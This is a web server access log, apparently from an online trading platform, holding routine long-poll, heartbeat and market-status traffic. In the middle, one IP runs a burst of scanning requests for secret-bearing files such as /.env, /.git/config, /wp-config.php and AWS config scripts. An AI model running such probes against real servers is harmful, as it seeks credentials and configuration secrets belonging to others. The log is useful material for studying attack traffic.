[09/Jan/2026:14:53:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941875316 HTTP/1.1" -
[09/Jan/2026:14:53:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941881555 HTTP/1.1" -
[09/Jan/2026:14:53:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941875711 HTTP/1.1" -
[09/Jan/2026:14:53:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941893187 HTTP/1.1" -
[09/Jan/2026:14:53:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941880336 HTTP/1.1" -
[09/Jan/2026:14:53:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941886596 HTTP/1.1" -
[09/Jan/2026:14:53:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941880763 HTTP/1.1" -
[09/Jan/2026:14:53:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941899197 HTTP/1.1" -
[09/Jan/2026:14:53:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:53:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:53:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941885361 HTTP/1.1" -
[09/Jan/2026:14:53:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941891702 HTTP/1.1" -
[09/Jan/2026:14:53:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941885880 HTTP/1.1" -
[09/Jan/2026:14:53:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941890388 HTTP/1.1" -
[09/Jan/2026:14:53:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941896776 HTTP/1.1" -
[09/Jan/2026:14:53:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:53:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:53:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941891023 HTTP/1.1" -
[09/Jan/2026:14:53:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941895418 HTTP/1.1" -
[09/Jan/2026:14:53:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941901880 HTTP/1.1" -
[09/Jan/2026:14:53:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941896188 HTTP/1.1" -
[09/Jan/2026:14:53:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:53:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:53:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941900465 HTTP/1.1" -
[09/Jan/2026:14:53:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941906911 HTTP/1.1" -
[09/Jan/2026:14:53:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941901326 HTTP/1.1" -
[09/Jan/2026:14:53:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:53:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:53:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:53:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:53:55 +0800] 195.178.110.132 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:14:53:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:53:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:53:55 +0800] 195.178.110.132 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 196
[09/Jan/2026:14:53:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941905517 HTTP/1.1" -
[09/Jan/2026:14:53:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941911987 HTTP/1.1" -
[09/Jan/2026:14:53:56 +0800] 195.178.110.132 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 196
[09/Jan/2026:14:53:56 +0800] 195.178.110.132 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.bak HTTP/1.1" 196
[09/Jan/2026:14:53:57 +0800] 195.178.110.132 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.save HTTP/1.1" 196
[09/Jan/2026:14:53:57 +0800] 195.178.110.132 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend/.env HTTP/1.1" 196
[09/Jan/2026:14:53:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941906393 HTTP/1.1" -
[09/Jan/2026:14:53:57 +0800] 195.178.110.132 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/.env HTTP/1.1" 196
[09/Jan/2026:14:53:58 +0800] 195.178.110.132 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.git/config HTTP/1.1" 196
[09/Jan/2026:14:53:58 +0800] 195.178.110.132 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-config.php HTTP/1.1" 196
[09/Jan/2026:14:53:59 +0800] 195.178.110.132 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-config.php.old HTTP/1.1" 196
[09/Jan/2026:14:53:59 +0800] 195.178.110.132 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.php HTTP/1.1" 196
[09/Jan/2026:14:53:59 +0800] 195.178.110.132 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.php.bak HTTP/1.1" 196
[09/Jan/2026:14:53:59 +0800] 195.178.110.132 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.js HTTP/1.1" 196
[09/Jan/2026:14:53:59 +0800] 195.178.110.132 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /aws-config.js HTTP/1.1" 196
[09/Jan/2026:14:54:00 +0800] 195.178.110.132 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /aws.config.js HTTP/1.1" 196
[09/Jan/2026:14:54:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941910538 HTTP/1.1" -
[09/Jan/2026:14:54:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941917026 HTTP/1.1" -
[09/Jan/2026:14:54:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941911443 HTTP/1.1" -
[09/Jan/2026:14:54:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:54:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:54:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941915572 HTTP/1.1" -
[09/Jan/2026:14:54:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941922131 HTTP/1.1" -
[09/Jan/2026:14:54:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941916602 HTTP/1.1" -
[09/Jan/2026:14:54:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941920601 HTTP/1.1" -
[09/Jan/2026:14:54:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941927206 HTTP/1.1" -
[09/Jan/2026:14:54:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:54:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:54:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941921743 HTTP/1.1" -
[09/Jan/2026:14:54:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941925649 HTTP/1.1" -
[09/Jan/2026:14:54:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941932303 HTTP/1.1" -
[09/Jan/2026:14:54:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941926954 HTTP/1.1" -
[09/Jan/2026:14:54:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:54:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:54:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941930691 HTTP/1.1" -
[09/Jan/2026:14:54:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941937337 HTTP/1.1" -
[09/Jan/2026:14:54:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941932112 HTTP/1.1" -
[09/Jan/2026:14:54:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:54:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:54:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:54:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:54:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:54:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:54:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941935736 HTTP/1.1" -
[09/Jan/2026:14:54:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941942411 HTTP/1.1" -
[09/Jan/2026:14:54:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941937170 HTTP/1.1" -
[09/Jan/2026:14:54:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941940756 HTTP/1.1" -
[09/Jan/2026:14:54:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941947443 HTTP/1.1" -
[09/Jan/2026:14:54:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941942235 HTTP/1.1" -
[09/Jan/2026:14:54:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:54:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:54:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941945795 HTTP/1.1" -
[09/Jan/2026:14:54:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941952551 HTTP/1.1" -
[09/Jan/2026:14:54:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941947356 HTTP/1.1" -
[09/Jan/2026:14:54:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941950825 HTTP/1.1" -
[09/Jan/2026:14:54:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:54:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:54:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941957618 HTTP/1.1" -
[09/Jan/2026:14:54:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941952517 HTTP/1.1" -
[09/Jan/2026:14:54:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:54:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941969125 HTTP/1.1" -
[09/Jan/2026:14:54:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:54:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:54:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:54:45 +0800] 64.62.156.222 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /geoserver/web/ HTTP/1.1" 196
[09/Jan/2026:14:54:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941955859 HTTP/1.1" -
